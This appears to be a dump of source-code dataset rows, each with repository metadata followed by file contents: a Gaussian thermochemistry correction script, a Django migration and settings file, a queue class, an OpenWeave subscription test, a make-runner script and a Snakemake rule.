blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
9fbcb3c385d6dd8c791291ee2840d9d6d4675511
f994bb440186c27db6a49831d544b896aae3afba
/examples/gaussian_to_excel/qRRHO_Pbeta.py
7f635878324b50ba39b701f60eb6178a1ed6b965
[ "MIT" ]
permissive
mbkumar/PyMuTT
339388a419b112274f2e936fe6e62aedd2731218
15e19809f7cf87158862041c48aa3d55e4ffecfa
refs/heads/master
2020-03-27T04:18:20.293872
2018-08-27T19:53:13
2018-08-27T19:53:13
145,929,161
1
0
null
2018-08-24T01:58:56
2018-08-24T01:58:56
null
UTF-8
Python
false
false
13,882
py
#!/usr/bin/env python # The format to execute this file is qRRO_Pbeta.py #1 #2 #3. #1 is the filename, #2 and #3 are desired T & P. import sys import os import ast import shutil as sh from argparse import ArgumentParser as AP import re import numpy as np import math parser = AP(description='Extract thermal correction from Gaussain output' ) parser.add_argument('filename', type=str, default=None, help='Name of log file from Gaussian') parser.add_argument('-t', '--temperature', default='180', type=float, help='Temperature for thermal correction') parser.add_argument('-p', '--pressure',default=1.0, type=float, help='Pressure for thermal correction') #parser.add_argument('-a', '--adsorbate',default=None, type=str,nargs='+', help='Name of the adsorbed molecules') parser.add_argument('-n', '--number',default=0, type=int, help='Number of adsorbed molecules on the zeolite surface') parser.add_argument('-m1', '--mass1',default=0, type=int, help='Mass of the first adsorbate in atomic unit') parser.add_argument('-m2', '--mass2',default=0, type=int, help='Total mass of the second adsorbate in atomic unit') parser.add_argument('-f', '--frequency',default=1.0, type=float, help='frequency scale factor') args = parser.parse_args() file = args.filename f = open(file,'r') F=[] #E = [] for line in f: if re.search('Zero-point correction=(.*?)\(', line): z = float(re.search('Zero-point correction=(.*?)\(', line).groups()[0]) if re.search('Sum of electronic and zero-point Energies=(.*)',line): epz = float(re.search('Sum of electronic and zero-point Energies=(.*)',line).groups()[0]) # if re.search('Sum of electronic and thermal Energies=(.*)',line): # ept = float(re.search('Sum of electronic and thermal Energies=(.*)',line).groups()[0]) # # if re.search('Sum of electronic and thermal Enthalpies=(.*)',line): # eph = float(re.search('Sum of electronic and thermal Enthalpies=(.*)',line) .groups()[0]) # # if re.search('Sum of electronic and thermal Free Energies=(.*)',line): # epg = float(re.search('Sum of electronic and thermal Free Energies=(.*)',line).groups()[0]) # Get all the frequencies in the unit of cm^-1. if re.search('Frequencies -- (.*)',line): a = re.search('Frequencies -- (.*)',line) l = (a.groups()[0]).split() #l = list(map(float,l)) l = [float(i) for i in l] #print l.split() for i in range(0,len(l)): F.append(l[i]) w_0 = 1 #if re.search('Charge = 0 Multiplicity =(.*)',line): # w_0 = float(re.search('Charge = 0 Multiplicity =(.*)',line) .groups()[0]) if re.search('Rotational temperatures \(Kelvin\)(.*)',line): R_t = (re.search('Rotational temperatures \(Kelvin\)(.*)',line) .groups()[0]).split() R_t = [float(i) for i in R_t] #print (R_t) if re.search('Molecular mass:(.*)',line): amu = (re.search('Molecular mass:(.*)',line) .groups()[0]).split() amu = float(amu[0]) #print (amu) if re.search('Rotational symmetry number(.*)',line): sigma = (re.search('Rotational symmetry number(.*)',line) .groups()[0]).split() sigma = float(sigma[0]) # Get the individual contribution to the internal thermal energy at new temperature(E_tot = E_e+E_t+E_r+E_v) #Get the desired temperature and pressure from input T = args.temperature + 273.15 #convert C to K P = args.pressure * 101325 #Pa c = 29979245800 #cm/s pi = math.pi k_B = 1.3806488 * 10**-23 #J/K m = amu * 1.660539040* 10**-27 #kg h = 6.626070040 * 10**-34 #j s R = 8.3144598 #j/mol K # Translational partition, energy, entropy q_t = (2*pi*m)**1.5 * (k_B*T)**2.5 / (h**3 *P) E_t = 1.5*R*T #J/mol S_t = R*(math.log(q_t)+2.5) #J/mol K # 2D translational motion for adsorbate #def g(x): # return { # 'AA' : 102 * 1.660539040* 10**-27 * 2, #kg mass of the adsorbate AA # 'MF_1': 82 * 1.660539040* 10**-27 *2, #kg mass of the adsorbate MF # 'MF' : 184 * 1.660539040* 10**-27, #kg mass of the adsorbate MF and AA # 'DMF' : 198 * 1.660539040* 10**-27, #kg mass of the adsorbate DMF and AA # }[x] #if args.mass1: m_ads1 = args.mass1 * 1.660539040* 10**-27 #kg mass of the first adsorbat m_ads2 = args.mass2 * 1.660539040* 10**-27 #kg mass of the first adsorbat n_ads = args.number #get the number of the adsorbed molecule # 2 Dimension A = 800**2 * 10**-24 #m^2 surface area of BEA #A = 600 * 200 * 10**-24 #m^2 surface area of ZSM5 q_t_2d_1 = (2*pi*m_ads1*k_B*T)/(h**2) * A q_t_2d_2 = (2*pi*m_ads2*k_B*T)/(h**2) * A if args.mass1 == 0 : q_t_2d_1 = 1 if args.mass2 == 0 : q_t_2d_2 = 1 q_t_2d = q_t_2d_1 * q_t_2d_2 E_t_2d = n_ads*R*T #J/mole S_t_2d = R*(math.log(q_t_2d)+n_ads) #J/mol K # 1 Dimendion L = 800 * 10**-12 #m distance of BEA #L = 600 * 10**-12 #m distance of ZSM5 q_t_1d_1 = math.sqrt(2*pi*m_ads1*k_B*T/h**2)*L q_t_1d_2 = math.sqrt(2*pi*m_ads2*k_B*T/h**2)*L if args.mass1 == 0 : q_t_1d_1 = 1 if args.mass2 == 0 : q_t_1d_2 = 1 q_t_1d = q_t_1d_1 * q_t_1d_2 E_t_1d = n_ads*0.5*R*T #J/mole S_t_1d = R*(math.log(q_t_1d)+n_ads*0.5) #J/mol K # Electronic partition, energy, entropy q_e = w_0 E_e = 0 S_e = R*(math.log(q_e)) # Rotational partition, energy, entropy q_r = math.sqrt(pi/(R_t[0]*R_t[1]*R_t[2])) * T**1.5/sigma E_r = 1.5*R*T S_r = R*(math.log(q_r)+1.5) #print (q_r) # Vibrational partition, energy, entropy # Check if there is any imaginary frequency if F[0]<0 : n_i = 1 #indicator of one imaginary frequency F.remove(F[0]) f_scale = args.frequency #get the scale factor of the frequency F = [i*f_scale for i in F] # Vibrational temperature theta = [h*i*c/k_B for i in F] # frequency in s^-1 niu = [i*c for i in F] #print (theta) V = [R*i*(0.5+1/(math.exp(i/T)-1)) for i in theta] E_v = R*sum(i*(0.5+1/(math.exp(i/T)-1)) for i in theta) S_v_HO = [R*(i/(T*(math.exp(i/T)-1))-math.log(1-math.exp(-i/T))) for i in theta] #Consider vibration as harmonic oscillation #S_v = R*sum(i/(T*(math.exp(i/T)-1))-math.log(1-math.exp(-i/T)) for i in theta) S_v = sum(S_v_HO) q_v = 1 for i in theta: q_v = q_v * math.exp(-i/(2*T))/(1-math.exp(-i/T)) #Using qRRHO approximation w = [1/(1+(100/i)**4) for i in F] E_v_qRRHO = sum(i*j + (1-i)*0.5*R*T for i,j in zip(w,V)) mu = [h/(8*pi**2*i) for i in niu] #moment of inertia for a free rotor with the same frequency B_av = 1e-44 #kg m^2 Average molecular moment of inertia as a limiting value for small niu mu_p = [i*B_av/(i+B_av) for i in mu] #mu_p = mu #print ([i - j for i, j in zip(mu,mu_p)]) S_v_r = [R*(0.5 + math.log(math.sqrt(8*pi**3*i*k_B*T/h**2))) for i in mu_p] S_v_r_qRRHO = [i*j + (1-i)*k for i,j,k in zip(w,S_v_HO,S_v_r)] S_v_qRRHO = sum (S_v_r_qRRHO) #print (S_v/4184, S_v_qRRHO/4184) # Total thermal correction E_tot = (E_t + E_r + E_v + E_e)/4184 #kcal/mol E_tot_qRRHO = (E_t + E_r + E_v_qRRHO + E_e)/4184 #kcal/mol # Thermal correction to enthalpy H_corr = E_tot + R*T/4184 #kcal/mol H_corr_qRRHO = E_tot_qRRHO + R*T/4184 #kcal/mol # Total Entropy S_tot = (S_t + S_r +S_v +S_e)/4184 #kcal/mol K S_tot_qRRHO = (S_t + S_r +S_v_qRRHO +S_e)/4184 #kcal/mol K # Thermal correction to Gibbs Free Energy G_corr = H_corr - T*S_tot #kcal/mol G_corr_qRRHO = H_corr_qRRHO - T*S_tot_qRRHO #kcal/mol #save all the correction Harm_corr = [E_tot,H_corr,G_corr] #Thermal, enthalpy and free energy correction for harmonic approximation with all degrees of freedom q_RRHO_corr = [E_tot_qRRHO,H_corr_qRRHO,G_corr_qRRHO] #Electronic energy e = (epz - z)*627.509469 #kcal/mol # Energies at new T and P N_epz = epz*627.509469 N_ept = e + E_tot N_eph = e + H_corr N_epg = e + G_corr # Energies at new T and P with qRRHO N_ept_qRRHO = e + E_tot_qRRHO N_eph_qRRHO = e + H_corr_qRRHO N_epg_qRRHO = e + G_corr_qRRHO N_p = [e,z*627.509469,N_epz,N_ept,N_eph,N_epg,S_tot] N_p_qRRHO = [N_epz,N_ept_qRRHO,N_eph_qRRHO,N_epg_qRRHO,S_tot_qRRHO] # For solid or adsorbed state, only vibrational degrees of freedom are considered S_E_tot = E_v/4184 #S stands for Solid S_H_corr = S_E_tot+ R*T/4184 S_S_tot = (S_v+R)/4184 #entropy due to vibration. R comes from the Sterling approximation. S_G_corr = S_H_corr - T*S_S_tot S_ept = e + S_E_tot S_eph = e + S_H_corr S_epg = e + S_G_corr S_p = [N_epz,S_ept,S_eph,S_epg] #No q_RRHO with 2D translational motion #if args.mass1: E_tot_2d = (E_v + E_t_2d)/4184 H_corr_2d = E_tot_2d+ R*T/4184 S_tot_2d = (S_v + S_t_2d + R)/4184 #eneropy due to vibration and 2d translation G_corr_2d = H_corr_2d - T*S_tot_2d ept_2d = e + E_tot_2d eph_2d = e + H_corr_2d epg_2d = e + G_corr_2d S_p_2d = [N_epz,ept_2d,eph_2d,epg_2d,S_tot_2d] #No q_RRHO with 1D translational motion #if args.mass1: E_tot_1d = (E_v + E_t_1d)/4184 H_corr_1d = E_tot_1d+ R*T/4184 S_tot_1d = (S_v + S_t_1d + R)/4184 #eneropy due to vibration and 1d translation G_corr_1d = H_corr_1d - T*S_tot_1d ept_1d = e + E_tot_1d eph_1d = e + H_corr_1d epg_1d = e + G_corr_1d S_p_1d = [N_epz,ept_1d,eph_1d,epg_1d,S_tot_1d] #q_RRHO without any translational motion S_E_tot_qRRHO = E_v_qRRHO/4184 S_H_corr_qRRHO = S_E_tot_qRRHO+ R*T/4184 S_S_tot_qRRHO = (S_v_qRRHO + R)/4184 #eneropy due to vibration S_G_corr_qRRHO = S_H_corr_qRRHO - T*S_S_tot_qRRHO S_ept_qRRHO = e + S_E_tot_qRRHO S_eph_qRRHO = e + S_H_corr_qRRHO S_epg_qRRHO = e + S_G_corr_qRRHO S_p_qRRHO = [N_epz,S_ept_qRRHO,S_eph_qRRHO,S_epg_qRRHO, S_S_tot_qRRHO] S_p_qRRHO_corr = [S_H_corr_qRRHO, S_S_tot_qRRHO, S_G_corr_qRRHO] #q_RRHO with 2D translational motion #if args.mass1: E_tot_qRRHO_2d = (E_v_qRRHO + E_t_2d)/4184 H_corr_qRRHO_2d = E_tot_qRRHO_2d+ R*T/4184 S_tot_qRRHO_2d = (S_v_qRRHO + S_t_2d + R)/4184 #eneropy due to vibration and 2d translation G_corr_qRRHO_2d = H_corr_qRRHO_2d - T*S_tot_qRRHO_2d ept_qRRHO_2d = e + E_tot_qRRHO_2d eph_qRRHO_2d = e + H_corr_qRRHO_2d epg_qRRHO_2d = e + G_corr_qRRHO_2d S_p_qRRHO_2d = [N_epz,ept_qRRHO_2d,eph_qRRHO_2d,epg_qRRHO_2d,S_tot_qRRHO_2d] S_p_qRRHO_2dcorr = [H_corr_qRRHO_2d, S_tot_qRRHO_2d, G_corr_qRRHO_2d] # print (epg_qRRHO_2d) #q_RRHO with 1D translational motion #if args.mass1: E_tot_qRRHO_1d = (E_v_qRRHO + E_t_1d)/4184 H_corr_qRRHO_1d = E_tot_qRRHO_1d+ R*T/4184 S_tot_qRRHO_1d = (S_v_qRRHO + S_t_1d + R)/4184 #eneropy due to vibration and 1d translation G_corr_qRRHO_1d = H_corr_qRRHO_1d - T*S_tot_qRRHO_1d ept_qRRHO_1d = e + E_tot_qRRHO_1d eph_qRRHO_1d = e + H_corr_qRRHO_1d epg_qRRHO_1d = e + G_corr_qRRHO_1d S_p_qRRHO_1d = [N_epz,ept_qRRHO_1d,eph_qRRHO_1d,epg_qRRHO_1d,S_tot_qRRHO_1d] S_p_qRRHO_1dcorr = [H_corr_qRRHO_1d, S_tot_qRRHO_1d, G_corr_qRRHO_1d] #save all the correction S_q_RRHO_corr = [S_E_tot_qRRHO,S_H_corr_qRRHO,S_G_corr_qRRHO] #Thermal, enthalpy and free energy correction for harmonic approximation with all degrees of freedom #print S_p_qRRHO_corr #print S_p_qRRHO_1dcorr #print S_p_qRRHO_2dcorr # all_energy = [N_epz, S_epg, epg_1d, epg_2d, S_epg_qRRHO, epg_qRRHO_1d, epg_qRRHO_2d] # electron energy plus zpe, free energy without qRRHO (immobile, 1D, 2D), free energy with qRRHO (immobile, 1D, 2D) f.close() # Write the new potential energy to txt file name=str.split(file,'.')[0]+'_'+str(int(T))+'.txt' f=open(name,'w') f.write('The new temperature and pressure are %s K and %s Pa \n' % (T,P)) f.write('Total adsorbate: %s. The masses of the first and second adsorbate are %s amu and %s amu \n' % (n_ads, args.mass1, args.mass2)) f.write('# electron energy plus zpe, free energy without qRRHO (immobile, 1D, 2D), free energy with qRRHO (immobile, 1D, 2D):\n') for item in all_energy: f.write(str(item)+'\n') if args.mass1: f.write('If we consider vibrational degrees of freedom and 2D translational motion and use q_RRHO,the electronic and zero-point; electronic and thermal; electronic and enthalpy; electronic and free energy; S are:\n') for item in S_p_qRRHO_2d: f.write(str(item)+'\n') if args.mass1: f.write('If we consider vibrational degrees of freedom and 1D translational motion and use q_RRHO,the electronic and zero-point; electronic and thermal; electronic and enthalpy; electronic and free energy; S are:\n') for item in S_p_qRRHO_1d: f.write(str(item)+'\n') f.write('Use harmonic oscillator and keep all the degrees of freedom. The thermal energies (electronic, zpe, electronic and zero-point, electronic and thermal, electronic and enthalpy, electronic and free energy) in kcal/mol and S are:\n') for item in N_p: f.write(str(item)+'\n') f.write('Use harmonic oscillator and keep all the degrees of freedom. The thermal, enthalpy and free energy corrections are:\n') for item in Harm_corr: f.write(str(item)+'\n') #f.write('Use q_RRHO and keep all the degrees of freedom. The thermal energies (electronic and zero-point, electronic and thermal, electronic and enthalpy, electronic and free energy)and S in kcal/mol are:\n') #for item in N_p_qRRHO: # f.write(str(item)+'\n') f.write('If we only consider vibrational degrees of freedom and use harmonic oscillator, the electronic and zero-point, electronic and thermal, electronic and enthalpy, electronic and free energy are:\n') for item in S_p: f.write(str(item)+'\n') f.write('If we only consider vibrational degrees of freedom and use q_RRHO,the electronic and zero-point, electronic and thermal, electronic and enthalpy, electronic, free energy and S are:\n') for item in S_p_qRRHO: f.write(str(item)+'\n') f.write('If we only consider vibrational degrees of freedom and use q_RRHO, The thermal, enthalpy and free energy corrections are:\n') for item in q_RRHO_corr: f.write(str(item)+'\n') f.close()
c58cf0b2ae63d589ad451462013553658103e025
d9c95cd0efad0788bf17672f6a4ec3b29cfd2e86
/disturbance/migrations/0030_auto_20200511_1512.py
3641eaa61a3cdb5c1c1646462aae2f39bb6cec30
[ "Apache-2.0" ]
permissive
Djandwich/disturbance
cb1d25701b23414cd91e3ac5b0207618cd03a7e5
b1ba1404b9ca7c941891ea42c00b9ff9bcc41237
refs/heads/master
2023-05-05T19:52:36.124923
2021-06-03T06:37:53
2021-06-03T06:37:53
259,816,629
1
1
NOASSERTION
2021-06-03T09:46:46
2020-04-29T03:39:33
Python
UTF-8
Python
false
false
1,710
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.8 on 2020-05-11 07:12 from __future__ import unicode_literals import disturbance.components.compliances.models from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('disturbance', '0029_auto_20200508_1238'), ] operations = [ migrations.CreateModel( name='SiteApplicationFee', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('amount', models.DecimalField(decimal_places=2, default='0.00', max_digits=8)), ('date_of_enforcement', models.DateField(blank=True, null=True)), ], options={ 'ordering': ('date_of_enforcement',), }, ), migrations.CreateModel( name='SiteCategory', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(blank=True, max_length=200)), ], ), migrations.AlterField( model_name='compliancedocument', name='_file', field=models.FileField(max_length=500, upload_to=disturbance.components.compliances.models.update_proposal_complaince_filename), ), migrations.AddField( model_name='siteapplicationfee', name='site_category', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='site_application_fees', to='disturbance.SiteCategory'), ), ]
f0d7131ecae8c4c754c7dd19a9a5c1ff2121cb3d
95540a155c043dd84ea6c0fb7d59ba06dc78b875
/python/算法和数据结构/queue.py
5c7170aaa244a59b0964dfc397b87b675c7a5cb7
[]
no_license
Lilenn/must
41b95d8e80f48a6b82febb222936bbc3502cc01f
a510a8d0e58fde1bc97ab7ad9bd2738158dcba5e
refs/heads/master
2020-04-09T23:09:20.116439
2018-12-06T09:02:09
2018-12-06T09:02:09
160,648,431
0
0
null
null
null
null
UTF-8
Python
false
false
526
py
class Queue(object): '''队列''' def __init__(self): self.items = [] def is_pmpty(self): return self.items == [] def enqueue(self,item): '''建造队列''' self.items.insert(1,item) def dequeue(self): '''出队列''' return self.items.pop() def size(self): '''返回大小''' return len(self.items) if __name__ == '__main__': q = Queue() q.enqueue(1) q.enqueue(3) q.enqueue(5) print(q.dequeue()) print(q.size())
f34f79c26e98c1d38d207de9b6cffc1f0ae6857e
4503a3bfd940dce760b5f70e90e6fe2fe0cc4881
/week10/health.py
64a500edefc57c9f812bbfd48accca1bbc735e97
[]
no_license
RicardoLima17/lecture
dba7de5c61507f51d51e3abc5c7c4c22ecda504f
b41f1201ab938fe0cab85566998390166c7fa7d8
refs/heads/main
2023-04-18T11:12:39.769760
2021-04-21T18:36:09
2021-04-21T18:36:09
334,456,464
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
# use person module # Author: Andrew Beatty from personmodule import * import datetime as dt person1 = { 'firstname': 'andrew', 'lastname': 'beatty', 'dob': dt.date(2010, 1, 1), 'height': 180, 'width': 100 } # call the functions in the module # I used import * so these have been imported # so I can call them with out the module name displayperson(person1) gethealthdata(person1)
80d7750f7f977b876f0ce61427fcd1932f7c6f2f
2fd6c260b8db490ed9dc594f2a6578bb736cb9ad
/src/test-apps/happy/tests/standalone/wdmNext/test_weave_wdm_next_one_way_subscribe_16.py
a4184ef2423b5b02d1874dbcd0e40ca97546c89f
[ "LicenseRef-scancode-proprietary-license", "Apache-2.0" ]
permissive
pornin/openweave-core
6891a89b493566e24c4e413f6425ecbf59663a43
b6ac50aad6eb69c7a81c9916707f3c7ef098ec63
refs/heads/master
2020-04-02T00:55:05.328569
2018-10-19T17:28:34
2018-10-19T17:28:34
153,828,148
1
0
Apache-2.0
2018-10-19T18:52:53
2018-10-19T18:52:53
null
UTF-8
Python
false
false
3,051
py
#!/usr/bin/env python # # Copyright (c) 2016-2017 Nest Labs, Inc. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # # @file # Calls Weave WDM one way subscribe between nodes. # H03: One way Subscribe: Client Continuous Events. Client cancels # L09: Stress One way Subscribe: Client Continuous Events. Client cancels # import unittest import set_test_path from weave_wdm_next_test_base import weave_wdm_next_test_base import WeaveUtilities class test_weave_wdm_next_one_way_subscribe_16(weave_wdm_next_test_base): def test_weave_wdm_next_one_way_subscribe_16(self): wdm_next_args = {} wdm_next_args['wdm_option'] = "one_way_subscribe" wdm_next_args['total_client_count'] = 4 wdm_next_args['final_client_status'] = 0 wdm_next_args['timer_client_period'] = 16000 wdm_next_args['test_client_iterations'] = 5 wdm_next_args['test_client_delay'] = 2000 wdm_next_args['enable_client_flip'] = 0 wdm_next_args['total_server_count'] = 4 wdm_next_args['final_server_status'] = 4 wdm_next_args['timer_server_period'] = 15000 wdm_next_args['test_server_delay'] = 0 wdm_next_args['enable_server_flip'] = 0 wdm_next_args['server_event_generator'] = 'Security' wdm_next_args['server_inter_event_period'] = 2000 wdm_next_args['client_log_check'] = [('Client\[0\] \[(ALIVE|CONFM)\] EndSubscription Ref\(\d+\)', wdm_next_args['test_client_iterations']), ('Client\[0\] \[CANCL\] _AbortSubscription Ref\(\d+\)', wdm_next_args['test_client_iterations'])] wdm_next_args['server_log_check'] = [('Handler\[0\] \[(ALIVE|CONFM)\] CancelRequestHandler', wdm_next_args['test_client_iterations']), ('Handler\[0\] Moving to \[ FREE\] Ref\(0\)', wdm_next_args['test_client_iterations'])] wdm_next_args['test_tag'] = self.__class__.__name__[19:].upper() wdm_next_args['test_case_name'] = ['H03: One way Subscribe: Publisher Continuous Events. Client cancels', 'L09: Stress One way Subscribe: Publisher Continuous Events. Client cancels'] print 'test file: ' + self.__class__.__name__ print "weave-wdm-next test B03 and L09" super(test_weave_wdm_next_one_way_subscribe_16, self).weave_wdm_next_test_base(wdm_next_args) if __name__ == "__main__": WeaveUtilities.run_unittest()
f3e465d8abf97925aafc78f1129a2bbb9ec13c39
71877e3f343e3899da77878937362191fdc02a0f
/topo_management/make_topos.py
4b1690d7c294a97ec079d7d60e92469cc7f79f95
[]
no_license
micahjohnson150/scripts
2a9007ae6d2ad3eec3596aff6e016f6d13fb0652
32a8322cab7463dbcc4d6042e7d53a03c2ee2654
refs/heads/master
2023-05-26T04:48:27.005338
2023-01-21T14:08:51
2023-01-21T14:08:51
144,737,605
0
0
null
2023-05-22T21:36:55
2018-08-14T15:17:16
Python
UTF-8
Python
false
false
4,085
py
#!/usr/bin/env python3 from os import listdir, walk, system from os.path import isfile, isdir, basename, abspath, expanduser, split from subprocess import check_output, Popen import argparse from basin_setup.basin_setup import Messages """ Every basin in my basin folder has a make file and each is constructed similarly. Thie script will go through all the basin topos with a make file and execute make < arg > The following executes all the topos makefiles via make topo in every basin folder e.g. python make_topos.py topo The following only runs the make topo command on tuolumne e.g. python make_topos.py topo -kw tuolumne """ out = Messages() def has_hidden_dirs(p): """ Searches a string path to determine if there are hidden """ has_hidden_paths = False for d in p.split('/'): if d: if d[0] == '.': has_hidden_paths = True return has_hidden_paths def find_basin_paths(directory, indicator_folder="model_setup", indicator_file="Makefile"): """ Walks through all the folder in directory looking for a directory called model setup, then checks to see if there is a Makefile, if there is then append that path to a list and return it """ paths = [] directory = abspath(expanduser(directory)) # Allow for indicator files and dirs to be none no_ind_file = (indicator_folder == None and indicator_file != None) no_ind_dir = (indicator_folder != None and indicator_file == None) no_dir_or_file = (indicator_folder == None and indicator_file == None) # Get all the folders and stuff just one level up for r, d, f in walk(directory): # ignore hidden folders and the top level folder if not has_hidden_dirs(r) and r != directory: if ( # If no indicator file or directories append the path no_dir_or_file or \ # no indicatory file is available only check the indicator folder (no_ind_file and basename(r) == indicator_folder) or \ # if no indicator folder is available only check file (no_ind_dir and indicator_file in f) or \ # Look for both the indicator file and folder (basename(r) == indicator_folder and indicator_file in f)): paths.append(r) return paths if __name__ == "__main__": # Director of interest basins_dir = "~/projects/basins" parser = argparse.ArgumentParser(description='Utilize makefiles to make ' 'mass operations on basins.') parser.add_argument('command', metavar='cmd', help='Pass a makefile command to execute on every basin') parser.add_argument('--keyword','-kw', dest='kw', help='Filter basin_ops paths for kw e.g. tuolumne will' 'find only one topo to process') args = parser.parse_args() # Grab a command passed in make_cmd = args.command count = 0 basins_attempted = 0 out.msg("Looking in {} for basins with makefiles...".format(basins_dir)) basin_paths = find_basin_paths(basins_dir, indicator_folder="model_setup", indicator_file="Makefile") if args.kw != None: out.msg("Filtering basin paths using keyword: {}".format(args.kw)) basin_paths = [p for p in basin_paths if args.kw in p] # Warn user if no matches found if len(basin_paths) == 0: out.error('{} not found in any ops paths'.format(args.kw)) for r in basin_paths: topo_attempt = False try: cmd = "cd {} && make {}".format(r, make_cmd) out.dbg(cmd) s = Popen(cmd, shell=True) s.wait() topo_attempt = True except Exception as e: raise e if topo_attempt: basins_attempted += 1 #input("press enter to continue") out.msg("Attempted to build {} topos".format(basins_attempted))
2a8953a9839de6581e4caa79cda9cb3036c84a36
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03834/s172653587.py
5c52cb64a75d2d12e1141735e2cd2b29c9007926
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
44
py
a = input() b = a.replace(",", " ") print(b)
578c5a1a6ff22e80aa35320182614bae82dfd05a
c51b70a06a7bef9bd96f06bd91a0ec289b68c7c4
/src/Snakemake/rules/Imbalance/Imbalance.smk
3d777e988559e4db91c171cc36dc8db59f4b607b
[]
no_license
clinical-genomics-uppsala/TSO500
3227a65931c17dd2799dbce93fe8a47f56a8c337
b0de1d2496b6c650434116494cef721bdc295528
refs/heads/master
2023-01-10T01:41:51.764849
2020-11-05T14:11:25
2020-11-05T14:11:25
218,708,783
0
1
null
null
null
null
UTF-8
Python
false
false
390
smk
rule imbalance : input: bams = ["RNA_TST170/bam_files/" + s + ".bam" for s in config["RNA_Samples"]] output: imbalance_all = "Results/RNA/Imbalance/imbalance_all_gene.txt", imbalance = "Results/RNA/Imbalance/imbalance_called_gene.txt" run: import subprocess subprocess.call("python src/Imbalance.py " + " ".join(input.bams), shell=True)
15cea4f928a57a80bc4a8c891bbc166135746b2c
4201d4aff2f2d877fa75d6d971f7826d5d1369e3
/product_onepage/settings.py
91b09b1db1c82f31bfb8318f86917bf8e21a21ab
[ "MIT" ]
permissive
emencia/emencia-product-onepage
4f5fb72cc47ca8725bc01c9c69a583126e7b8514
09cff26e97641412b297f977ca8c8045983bbf97
refs/heads/master
2020-04-13T09:31:04.787009
2015-01-13T01:14:00
2015-01-13T01:14:00
28,994,086
0
0
null
null
null
null
UTF-8
Python
false
false
1,778
py
# Dummy gettext gettext = lambda s: s # Plugins template choices ONEPAGE_TAB_TEMPLATE_CHOICES = ( ("product_onepage/tab.html", gettext("Default")), ) ONEPAGE_SPEC_TEMPLATE_CHOICES = ( ("product_onepage/spec.html", gettext("Default")), ) ONEPAGE_BLURB_TEMPLATE_CHOICES = ( ("product_onepage/blurb.html", gettext("Default")), ) ONEPAGE_OVERVIEW_TEMPLATE_CHOICES = ( ("product_onepage/overview.html", gettext("Default")), ) ONEPAGE_PACK_TEMPLATE_CHOICES = ( ("product_onepage/pack.html", gettext("Default")), ) ONEPAGE_SUBSCRIBE_TEMPLATE_CHOICES = ( ("product_onepage/subscribe.html", gettext("Default")), ) ONEPAGE_VIDEO_TEMPLATE_CHOICES = ( ("product_onepage/video.html", gettext("Default")), ) ONEPAGE_TWENTYTWENTY_TEMPLATE_CHOICES = ( ("product_onepage/twentytwenty.html", gettext("Default")), ) # Plugins templates default choice ONEPAGE_TAB_DEFAULT_TEMPLATE = ONEPAGE_TAB_TEMPLATE_CHOICES[0][0] ONEPAGE_SPEC_DEFAULT_TEMPLATE = ONEPAGE_SPEC_TEMPLATE_CHOICES[0][0] ONEPAGE_BLURB_DEFAULT_TEMPLATE = ONEPAGE_BLURB_TEMPLATE_CHOICES[0][0] ONEPAGE_OVERVIEW_DEFAULT_TEMPLATE = ONEPAGE_OVERVIEW_TEMPLATE_CHOICES[0][0] ONEPAGE_PACK_DEFAULT_TEMPLATE = ONEPAGE_PACK_TEMPLATE_CHOICES[0][0] ONEPAGE_SUBSCRIBE_DEFAULT_TEMPLATE = ONEPAGE_SUBSCRIBE_TEMPLATE_CHOICES[0][0] ONEPAGE_VIDEO_DEFAULT_TEMPLATE = ONEPAGE_VIDEO_TEMPLATE_CHOICES[0][0] ONEPAGE_TWENTYTWENTY_DEFAULT_TEMPLATE = ONEPAGE_TWENTYTWENTY_TEMPLATE_CHOICES[0][0] # Alignement options ONEPAGE_BLURB_ALIGNMENT_CHOICES = ( ('1', gettext(u'Extreme Left')), ('3', gettext(u'Left')), ('centered', gettext(u'Center')), ('6', gettext(u'Right')), ('8', gettext(u'Extreme Right')), ) ONEPAGE_SPEC_ALIGNMENT_CHOICES = ( ('left', _(u'Left')), ('right', _(u'Right')), )
20fcd5d4e9c68f072f12665f4282389755541b28
50de76eb887892c2085e1aa898987962a5d75380
/_1_PythonBasic/Reactive/5.2B_distinct_with_mapping.py
bd179c9d1443ceb29fd6932f737d2d033d35e7f2
[]
no_license
cyrsis/TensorflowPY36CPU
